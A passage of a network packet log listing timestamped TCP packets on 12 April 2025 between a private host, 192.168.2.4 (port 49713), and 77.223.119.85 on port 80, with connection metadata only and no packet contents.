Apr 12, 2025 19:35:16.713390112 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713399887 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713401079 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713413000 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713423967 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713433981 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713433981 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713444948 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713454962 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713463068 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713468075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713479042 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713488102 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713489056 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713501930 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713511944 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713525057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713526011 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713534117 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713545084 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713550091 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713555098 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713567019 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713567019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713582039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713587046 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713593006 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713603020 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713629007 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713753939 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713897943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713911057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713939905 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.714602947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714615107 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714624882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714637041 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714648008 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.714662075 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.714803934 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714817047 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714827061 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714844942 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.714864016 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.714900017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714910984 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714921951 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714934111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714943886 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.714943886 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714956045 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.714973927 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.714984894 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.715012074 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.715173006 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715184927 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715194941 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715204000 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715214968 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715215921 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.715224981 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715235949 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715245962 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715253115 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.715256929 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715267897 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715280056 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715280056 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.715291023 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715301037 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715312958 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715313911 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.715326071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.715337992 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.715352058 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.765889883 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.820910931 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.875516891 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.938298941 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938314915 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938325882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938337088 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938347101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938357115 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938368082 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938379049 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938422918 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938457012 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938467979 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938604116 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.938604116 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.938604116 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.938797951 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938808918 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938818932 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938824892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938831091 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938839912 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938846111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938857079 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938863039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938867092 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938873053 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938883066 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938889027 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.938977003 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939033031 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939208984 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939219952 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939269066 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939306021 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939316988 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939327002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939337969 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939362049 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939394951 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939503908 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939516068 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939526081 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939567089 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939709902 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939721107 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939729929 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939739943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939750910 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939762115 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939762115 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939773083 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939784050 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939785957 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939794064 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939805031 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939815044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939825058 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939834118 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939836025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939846992 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939858913 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939860106 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939871073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.939877033 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.939924955 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940119982 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940129995 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940140009 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940150023 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940161943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940172911 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940175056 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940184116 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940195084 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940195084 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940207005 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940213919 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940217972 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940227985 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940232992 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940238953 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940248966 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940252066 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940284967 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940289974 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940300941 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940301895 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940310001 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940320969 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940330982 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940340996 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940342903 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940351009 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940361023 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940362930 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940371990 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940382957 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940382957 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940392017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940402985 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940412998 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940418005 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940423012 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940429926 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940435886 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940444946 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940445900 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940444946 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940458059 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940468073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940479994 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940489054 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940496922 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940496922 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940498114 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940500021 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940527916 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940527916 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940546036 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940601110 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940612078 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940620899 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940630913 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940640926 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940648079 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940653086 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940663099 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940670967 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940670967 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940674067 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940685034 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940696001 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940706015 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940716028 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940716028 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940726995 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940736055 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940738916 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940751076 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940756083 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940759897 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940772057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940772057 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940781116 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940792084 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940795898 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940803051 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940812111 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940814972 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940825939 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940829992 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940835953 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940848112 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940850019 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940857887 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940871954 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940876007 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940877914 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940887928 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.940928936 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.940951109 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.941020966 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.941210032 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.941220999 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.941230059 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.941240072 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.941251040 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.941262007 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.941266060 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.941273928 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.941298962 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.941298962 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.941334009 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.165373087 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.165390015 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.165496111 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.165715933 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.165730953 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.165743113 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.165796995 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.165846109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.165899038 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.166063070 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.166626930 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.166640043 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.166656971 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.166668892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.166677952 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.166682005 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.166717052 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.166717052 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.167251110 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167263985 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167277098 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167289972 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167301893 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167315006 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167321920 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.167326927 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167340994 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.167345047 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167356968 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.167386055 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.167973995 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167987108 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.167999029 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168009996 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168020964 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168031931 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168044090 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168045044 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168056011 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168066978 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168067932 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168080091 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168092012 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168091059 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168091059 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168103933 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168116093 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168116093 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168127060 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168139935 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168152094 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168163061 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168169975 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168169975 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168174982 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168188095 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168190956 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168200016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168210030 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168211937 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168224096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168226004 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168235064 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168277025 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168277025 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168327093 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168339014 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168349981 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168360949 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168373108 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168384075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168395042 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168406963 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168415070 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168418884 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168431044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168441057 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168443918 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168456078 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168459892 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168467999 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168479919 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168486118 CEST	80	49713	77.223.119.85	192.168.2.4
